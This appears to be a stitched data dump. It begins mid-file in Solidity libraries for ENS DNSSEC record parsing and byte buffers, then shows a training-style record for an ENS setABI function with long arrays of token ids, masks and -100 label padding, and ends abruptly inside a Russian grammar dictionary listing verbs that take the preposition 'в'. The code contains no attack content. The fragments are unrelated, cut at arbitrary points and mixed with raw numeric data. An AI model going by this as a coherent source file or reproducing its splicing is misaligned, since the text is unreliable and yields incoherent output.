start reading at. * @return ret An iterator object. */ function iterateRRs(bytes memory self, uint offset) internal pure returns (RRIterator memory ret) { ret.data = self; ret.nextOffset = offset; next(ret); } /** * @dev Returns true iff there are more RRs to iterate. * @param iter The iterator to check. * @return True iff the iterator has finished. */ function done(RRIterator memory iter) internal pure returns(bool) { return iter.offset >= iter.data.length; } /** * @dev Moves the iterator to the next resource record. * @param iter The iterator to advance. */ function next(RRIterator memory iter) internal pure { iter.offset = iter.nextOffset; if (iter.offset >= iter.data.length) { return; } // Skip the name uint off = iter.offset + nameLength(iter.data, iter.offset); // Read type, class, and ttl iter.dnstype = iter.data.readUint16(off); off += 2; iter.class = iter.data.readUint16(off); off += 2; iter.ttl = iter.data.readUint32(off); off += 4; // Read the rdata uint rdataLength = iter.data.readUint16(off); off += 2; iter.rdataOffset = off; iter.nextOffset = off + rdataLength; } /** * @dev Returns the name of the current record. * @param iter The iterator. * @return A new bytes object containing the owner name from the RR. */ function name(RRIterator memory iter) internal pure returns(bytes memory) { return iter.data.substring(iter.offset, nameLength(iter.data, iter.offset)); } /** * @dev Returns the rdata portion of the current record. * @param iter The iterator. * @return A new bytes object containing the RR's RDATA. */ function rdata(RRIterator memory iter) internal pure returns(bytes memory) { return iter.data.substring(iter.rdataOffset, iter.nextOffset - iter.rdataOffset); } uint constant DNSKEY_FLAGS = 0; uint constant DNSKEY_PROTOCOL = 2; uint constant DNSKEY_ALGORITHM = 3; uint constant DNSKEY_PUBKEY = 4; struct DNSKEY { uint16 flags; uint8 protocol; uint8 algorithm; bytes publicKey; } function readDNSKEY(bytes memory data, uint offset, uint length) internal pure returns(DNSKEY memory self) { self.flags = data.readUint16(offset + DNSKEY_FLAGS); self.protocol = data.readUint8(offset + DNSKEY_PROTOCOL); self.algorithm = data.readUint8(offset + DNSKEY_ALGORITHM); self.publicKey = data.substring(offset + DNSKEY_PUBKEY, length - DNSKEY_PUBKEY); } uint constant DS_KEY_TAG = 0; uint constant DS_ALGORITHM = 2; uint constant DS_DIGEST_TYPE = 3; uint constant DS_DIGEST = 4; struct DS { uint16 keytag; uint8 algorithm; uint8 digestType; bytes digest; } function readDS(bytes memory data, uint offset, uint length) internal pure returns(DS memory self) { self.keytag = data.readUint16(offset + DS_KEY_TAG); self.algorithm = data.readUint8(offset + DS_ALGORITHM); self.digestType = data.readUint8(offset + DS_DIGEST_TYPE); self.digest = data.substring(offset + DS_DIGEST, length - DS_DIGEST); } struct NSEC3 { uint8 hashAlgorithm; uint8 flags; uint16 iterations; bytes salt; bytes32 nextHashedOwnerName; bytes typeBitmap; } uint constant NSEC3_HASH_ALGORITHM = 0; uint constant NSEC3_FLAGS = 1; uint constant NSEC3_ITERATIONS = 2; uint constant NSEC3_SALT_LENGTH = 4; uint constant NSEC3_SALT = 5; function readNSEC3(bytes memory data, uint offset, uint length) internal pure returns(NSEC3 memory self) { uint end = offset + length; self.hashAlgorithm = data.readUint8(offset + NSEC3_HASH_ALGORITHM); self.flags = data.readUint8(offset + NSEC3_FLAGS); self.iterations = data.readUint16(offset + NSEC3_ITERATIONS); uint8 saltLength = data.readUint8(offset + NSEC3_SALT_LENGTH); offset = offset + NSEC3_SALT; self.salt = data.substring(offset, saltLength); offset += saltLength; uint8 nextLength = data.readUint8(offset); require(nextLength <= 32); offset += 1; self.nextHashedOwnerName = data.readBytesN(offset, nextLength); offset += nextLength; self.typeBitmap = data.substring(offset, end - offset); } function checkTypeBitmap(NSEC3 memory self, uint16 rrtype) internal pure returns(bool) { return checkTypeBitmap(self.typeBitmap, 0, rrtype); } /** * @dev Checks if a given RR type exists in a type bitmap. * @param bitmap The byte string to read the type bitmap from. * @param offset The offset to start reading at. * @param rrtype The RR type to check for. * @return True if the type is found in the bitmap, false otherwise. */ function checkTypeBitmap(bytes memory bitmap, uint offset, uint16 rrtype) internal pure returns (bool) { uint8 typeWindow = uint8(rrtype >> 8); uint8 windowByte = uint8((rrtype & 0xff) / 8); uint8 windowBitmask = uint8(uint8(1) << (uint8(7) - uint8(rrtype & 0x7))); for (uint off = offset; off < bitmap.length;) { uint8 window = bitmap.readUint8(off); uint8 len = bitmap.readUint8(off + 1); if (typeWindow < window) { // We've gone past our window; it's not here. return false; } else if (typeWindow == window) { // Check this type bitmap if (len <= windowByte) { // Our type is past the end of the bitmap return false; } return (bitmap.readUint8(off + windowByte + 2) & windowBitmask) != 0; } else { // Skip this type bitmap off += len + 2; } } return false; } function compareNames(bytes memory self, bytes memory other) internal pure returns (int) { if (self.equals(other)) { return 0; } uint off; uint otheroff; uint prevoff; uint otherprevoff; uint counts = labelCount(self, 0); uint othercounts = labelCount(other, 0); // Keep removing labels from the front of the name until both names are equal length while (counts > othercounts) { prevoff = off; off = progress(self, off); counts--; } while (othercounts > counts) { otherprevoff = otheroff; otheroff = progress(other, otheroff); othercounts--; } // Compare the last nonequal labels to each other while (counts > 0 && !self.equals(off, other, otheroff)) { prevoff = off; off = progress(self, off); otherprevoff = otheroff; otheroff = progress(other, otheroff); counts -= 1; } if (off == 0) { return -1; } if(otheroff == 0) { return 1; } return self.compare(prevoff + 1, self.readUint8(prevoff), other, otherprevoff + 1, other.readUint8(otherprevoff)); } function progress(bytes memory body, uint off) internal pure returns(uint) { return off + 1 + body.readUint8(off); } } pragma solidity ^0.7.4; library BytesUtils { /* * @dev Returns the keccak-256 hash of a byte range. * @param self The byte string to hash. * @param offset The position to start hashing at. * @param len The number of bytes to hash. * @return The hash of the byte range. */ function keccak(bytes memory self, uint offset, uint len) internal pure returns (bytes32 ret) { require(offset + len <= self.length); assembly { ret := keccak256(add(add(self, 32), offset), len) } } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two bytes are equal. * @param self The first bytes to compare. * @param other The second bytes to compare. * @return The result of the comparison. */ function compare(bytes memory self, bytes memory other) internal pure returns (int) { return compare(self, 0, self.length, other, 0, other.length); } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two bytes are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first bytes to compare. * @param offset The offset of self. * @param len The length of self. * @param other The second bytes to compare. * @param otheroffset The offset of the other string. * @param otherlen The length of the other string. * @return The result of the comparison. */ function compare(bytes memory self, uint offset, uint len, bytes memory other, uint otheroffset, uint otherlen) internal pure returns (int) { uint shortest = len; if (otherlen < len) shortest = otherlen; uint selfptr; uint otherptr; assembly { selfptr := add(self, add(offset, 32)) otherptr := add(other, add(otheroffset, 32)) } for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint mask; if (shortest > 32) { mask = uint256(- 1); // aka 0xffffff.... } else { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(len) - int(otherlen); } /* * @dev Returns true if the two byte ranges are equal. * @param self The first byte range to compare. * @param offset The offset into the first byte range. * @param other The second byte range to compare. * @param otherOffset The offset into the second byte range. * @param len The number of bytes to compare * @return True if the byte ranges are equal, false otherwise. */ function equals(bytes memory self, uint offset, bytes memory other, uint otherOffset, uint len) internal pure returns (bool) { return keccak(self, offset, len) == keccak(other, otherOffset, len); } /* * @dev Returns true if the two byte ranges are equal with offsets. * @param self The first byte range to compare. * @param offset The offset into the first byte range. * @param other The second byte range to compare. * @param otherOffset The offset into the second byte range. * @return True if the byte ranges are equal, false otherwise. */ function equals(bytes memory self, uint offset, bytes memory other, uint otherOffset) internal pure returns (bool) { return keccak(self, offset, self.length - offset) == keccak(other, otherOffset, other.length - otherOffset); } /* * @dev Compares a range of 'self' to all of 'other' and returns True iff * they are equal. * @param self The first byte range to compare. * @param offset The offset into the first byte range. * @param other The second byte range to compare. * @return True if the byte ranges are equal, false otherwise. */ function equals(bytes memory self, uint offset, bytes memory other) internal pure returns (bool) { return self.length >= offset + other.length && equals(self, offset, other, 0, other.length); } /* * @dev Returns true if the two byte ranges are equal. * @param self The first byte range to compare. * @param other The second byte range to compare. * @return True if the byte ranges are equal, false otherwise. */ function equals(bytes memory self, bytes memory other) internal pure returns(bool) { return self.length == other.length && equals(self, 0, other, 0, self.length); } /* * @dev Returns the 8-bit number at the specified index of self. * @param self The byte string. * @param idx The index into the bytes * @return The specified 8 bits of the string, interpreted as an integer. */ function readUint8(bytes memory self, uint idx) internal pure returns (uint8 ret) { return uint8(self[idx]); } /* * @dev Returns the 16-bit number at the specified index of self. * @param self The byte string. * @param idx The index into the bytes * @return The specified 16 bits of the string, interpreted as an integer. */ function readUint16(bytes memory self, uint idx) internal pure returns (uint16 ret) { require(idx + 2 <= self.length); assembly { ret := and(mload(add(add(self, 2), idx)), 0xFFFF) } } /* * @dev Returns the 32-bit number at the specified index of self. * @param self The byte string. * @param idx The index into the bytes * @return The specified 32 bits of the string, interpreted as an integer. */ function readUint32(bytes memory self, uint idx) internal pure returns (uint32 ret) { require(idx + 4 <= self.length); assembly { ret := and(mload(add(add(self, 4), idx)), 0xFFFFFFFF) } } /* * @dev Returns the 32 byte value at the specified index of self. * @param self The byte string. * @param idx The index into the bytes * @return The specified 32 bytes of the string. */ function readBytes32(bytes memory self, uint idx) internal pure returns (bytes32 ret) { require(idx + 32 <= self.length); assembly { ret := mload(add(add(self, 32), idx)) } } /* * @dev Returns the 32 byte value at the specified index of self. * @param self The byte string. * @param idx The index into the bytes * @return The specified 32 bytes of the string. */ function readBytes20(bytes memory self, uint idx) internal pure returns (bytes20 ret) { require(idx + 20 <= self.length); assembly { ret := and(mload(add(add(self, 32), idx)), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000) } } /* * @dev Returns the n byte value at the specified index of self. * @param self The byte string. * @param idx The index into the bytes. * @param len The number of bytes. * @return The specified 32 bytes of the string. */ function readBytesN(bytes memory self, uint idx, uint len) internal pure returns (bytes32 ret) { require(len <= 32); require(idx + len <= self.length); assembly { let mask := not(sub(exp(256, sub(32, len)), 1)) ret := and(mload(add(add(self, 32), idx)), mask) } } function memcpy(uint dest, uint src, uint len) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Copies a substring into a new byte string. * @param self The byte string to copy from. * @param offset The offset to start copying at. * @param len The number of bytes to copy. */ function substring(bytes memory self, uint offset, uint len) internal pure returns(bytes memory) { require(offset + len <= self.length); bytes memory ret = new bytes(len); uint dest; uint src; assembly { dest := add(ret, 32) src := add(add(self, 32), offset) } memcpy(dest, src, len); return ret; } // Maps characters from 0x30 to 0x7A to their base32 values. // 0xFF represents invalid characters in that range. bytes constant base32HexTable = hex'00010203040506070809FFFFFFFFFFFFFF0A0B0C0D0E0F101112131415161718191A1B1C1D1E1FFFFFFFFFFFFFFFFFFFFF0A0B0C0D0E0F101112131415161718191A1B1C1D1E1F'; /** * @dev Decodes unpadded base32 data of up to one word in length. * @param self The data to decode. * @param off Offset into the string to start at. * @param len Number of characters to decode. * @return The decoded data, left aligned. */ function base32HexDecodeWord(bytes memory self, uint off, uint len) internal pure returns(bytes32) { require(len <= 52); uint ret = 0; uint8 decoded; for(uint i = 0; i < len; i++) { bytes1 char = self[off + i]; require(char >= 0x30 && char <= 0x7A); decoded = uint8(base32HexTable[uint(uint8(char)) - 0x30]); require(decoded <= 0x20); if(i == len - 1) { break; } ret = (ret << 5) | decoded; } uint bitlen = len * 5; if(len % 8 == 0) { // Multiple of 8 characters, no padding ret = (ret << 5) | decoded; } else if(len % 8 == 2) { // Two extra characters - 1 byte ret = (ret << 3) | (decoded >> 2); bitlen -= 2; } else if(len % 8 == 4) { // Four extra characters - 2 bytes ret = (ret << 1) | (decoded >> 4); bitlen -= 4; } else if(len % 8 == 5) { // Five extra characters - 3 bytes ret = (ret << 4) | (decoded >> 1); bitlen -= 1; } else if(len % 8 == 7) { // Seven extra characters - 4 bytes ret = (ret << 2) | (decoded >> 3); bitlen -= 3; } else { revert(); } return bytes32(ret << (256 - bitlen)); } } pragma solidity >0.4.18; /** * @dev A library for working with mutable byte buffers in Solidity. * * Byte buffers are mutable and expandable, and provide a variety of primitives * for writing to them. At any time you can fetch a bytes object containing the * current contents of the buffer. The bytes object should not be stored between * operations, as it may change due to resizing of the buffer. */ library Buffer { /** * @dev Represents a mutable buffer. Buffers have a current value (buf) and * a capacity. The capacity may be longer than the current value, in * which case it can be extended without the need to allocate more memory. */ struct buffer { bytes buf; uint capacity; } /** * @dev Initializes a buffer with an initial capacity. * @param buf The buffer to initialize. * @param capacity The number of bytes of space to allocate the buffer. * @return The buffer, for chaining. */ function init(buffer memory buf, uint capacity) internal pure returns(buffer memory) { if (capacity % 32 != 0) { capacity += 32 - (capacity % 32); } // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(32, add(ptr, capacity))) } return buf; } /** * @dev Initializes a new buffer from an existing bytes object. * Changes to the buffer may mutate the original value. * @param b The bytes object to initialize the buffer with. * @return A new buffer. */ function fromBytes(bytes memory b) internal pure returns(buffer memory) { buffer memory buf; buf.buf = b; buf.capacity = b.length; return buf; } function resize(buffer memory buf, uint capacity) private pure { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private pure returns(uint) { if (a > b) { return a; } return b; } /** * @dev Sets buffer length to 0. * @param buf The buffer to truncate. * @return The original buffer, for chaining.. */ function truncate(buffer memory buf) internal pure returns (buffer memory) { assembly { let bufptr := mload(buf) mstore(bufptr, 0) } return buf; } /** * @dev Writes a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param off The start offset to write to. * @param data The data to append. * @param len The number of bytes to copy. * @return The original buffer, for chaining. */ function write(buffer memory buf, uint off, bytes memory data, uint len) internal pure returns(buffer memory) { require(len <= data.length); if (off + len > buf.capacity) { resize(buf, max(buf.capacity, len + off) * 2); } uint dest; uint src; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Start address = buffer address + offset + sizeof(buffer length) dest := add(add(bufptr, 32), off) // Update buffer length if we're extending it if gt(add(len, off), buflen) { mstore(bufptr, add(len, off)) } src := add(data, 32) } // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } /** * @dev Appends a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @param len The number of bytes to copy. * @return The original buffer, for chaining. */ function append(buffer memory buf, bytes memory data, uint len) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, len); } /** * @dev Appends a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function append(buffer memory buf, bytes memory data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, data.length); } /** * @dev Writes a byte to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write the byte at. * @param data The data to append. * @return The original buffer, for chaining. */ function writeUint8(buffer memory buf, uint off, uint8 data) internal pure returns(buffer memory) { if (off >= buf.capacity) { resize(buf, buf.capacity * 2); } assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + sizeof(buffer length) + off let dest := add(add(bufptr, off), 32) mstore8(dest, data) // Update buffer length if we extended it if eq(off, buflen) { mstore(bufptr, add(buflen, 1)) } } return buf; } /** * @dev Appends a byte to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function appendUint8(buffer memory buf, uint8 data) internal pure returns(buffer memory) { return writeUint8(buf, buf.buf.length, data); } /** * @dev Writes up to 32 bytes to the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write at. * @param data The data to append. * @param len The number of bytes to write (left-aligned). * @return The original buffer, for chaining. */ function write(buffer memory buf, uint off, bytes32 data, uint len) private pure returns(buffer memory) { if (len + off > buf.capacity) { resize(buf, (len + off) * 2); } uint mask = 256 ** len - 1; // Right-align data data = data >> (8 * (32 - len)); assembly { // Memory address of the buffer data let bufptr := mload(buf) // Address = buffer address + sizeof(buffer length) + off + len let dest := add(add(bufptr, off), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length if we extended it if gt(add(off, len), mload(bufptr)) { mstore(bufptr, add(off, len)) } } return buf; } /** * @dev Writes a bytes20 to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write at. * @param data The data to append. * @return The original buffer, for chaining. */ function writeBytes20(buffer memory buf, uint off, bytes20 data) internal pure returns (buffer memory) { return write(buf, off, bytes32(data), 20); } /** * @dev Appends a bytes20 to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chhaining. */ function appendBytes20(buffer memory buf, bytes20 data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, bytes32(data), 20); } /** * @dev Appends a bytes32 to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function appendBytes32(buffer memory buf, bytes32 data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, 32); } /** * @dev Writes an integer to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write at. * @param data The data to append. * @param len The number of bytes to write (right-aligned). * @return The original buffer, for chaining. */ function writeInt(buffer memory buf, uint off, uint data, uint len) private pure returns(buffer memory) { if (len + off > buf.capacity) { resize(buf, (len + off) * 2); } uint mask = 256 ** len - 1; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Address = buffer address + off + sizeof(buffer length) + len let dest := add(add(bufptr, off), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length if we extended it if gt(add(off, len), mload(bufptr)) { mstore(bufptr, add(off, len)) } } return buf; } /** * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) { return writeInt(buf, buf.buf.length, data, len); } }
* Sets the ABI associated with an ENS node. Nodes may have one ABI of each content type. To remove an ABI, set it to the empty string. @param node The node to update. @param contentType The content type of the ABI @param data The ABI data./ Content types must be powers of 2
function setABI(bytes32 node, uint256 contentType, bytes calldata data) virtual external authorised(node) { require(((contentType - 1) & contentType) == 0); abis[node][contentType] = data; emit ABIChanged(node, contentType); }
388,390
[ 1, 2785, 326, 10336, 45, 3627, 598, 392, 512, 3156, 756, 18, 14037, 2026, 1240, 1245, 10336, 45, 434, 1517, 913, 618, 18, 2974, 1206, 392, 10336, 45, 16, 444, 518, 358, 326, 1008, 533, 18, 225, 756, 1021, 756, 358, 1089, 18, 225, 5064, 1021, 913, 618, 434, 326, 10336, 45, 225, 501, 1021, 10336, 45, 501, 18, 19, 3697, 1953, 1297, 506, 7602, 414, 434, 576, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 2090, 45, 12, 3890, 1578, 756, 16, 2254, 5034, 5064, 16, 1731, 745, 892, 501, 13, 5024, 3903, 2869, 5918, 12, 2159, 13, 288, 203, 3639, 2583, 12443, 12, 22194, 300, 404, 13, 473, 5064, 13, 422, 374, 1769, 203, 203, 3639, 1223, 291, 63, 2159, 6362, 22194, 65, 273, 501, 31, 203, 3639, 3626, 10336, 45, 5033, 12, 2159, 16, 5064, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Сочетаемость глаголов (и отглагольных частей речи) с предложным // паттерном. // LC->07.08.2018 facts гл_предл language=Russian { arity=3 //violation_score=-5 generic return=boolean } #define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{} #region Предлог_В // ------------------- С ПРЕДЛОГОМ 'В' --------------------------- #region Предложный // Глаголы и отглагольные части речи, присоединяющие // предложное дополнение с предлогом В и сущ. в предложном падеже. wordentry_set Гл_В_Предл = { rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль // вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб rus_verbs:воевать{}, // Воевал во Франции. rus_verbs:устать{}, // Устали в дороге? rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения. rus_verbs:решить{}, // Что решат в правительстве? rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает. rus_verbs:обстоять{}, // В действительности же дело обстояло не так. rus_verbs:подыматься{}, rus_verbs:поехать{}, // поедем в такси! rus_verbs:уехать{}, // он уехал в такси rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей rus_verbs:ОБЛАЧИТЬ{}, rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло. rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ) rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ) rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ) rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ) rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ) rus_verbs:ЗАМАЯЧИТЬ{}, rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ) rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ) rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ) rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ) rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ) rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ) rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ) rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ) rus_verbs:ПоТЕРЯТЬ{}, rus_verbs:УТЕРЯТЬ{}, rus_verbs:РАСТЕРЯТЬ{}, rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.) rus_verbs:СОМКНУТЬСЯ{}, rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ) rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ) rus_verbs:ВЫСТОЯТЬ{}, rus_verbs:ПОСТОЯТЬ{}, rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ) rus_verbs:ВЗВЕШИВАТЬ{}, rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ) прилагательное:быстрый{}, // Кисель быстр в приготовлении rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень rus_verbs:призывать{}, rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ) rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ) rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ) rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ) rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ) rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ) rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ) rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ) rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ) rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ) rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ) rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ) rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ) rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ) rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ) rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ) rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ) rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение 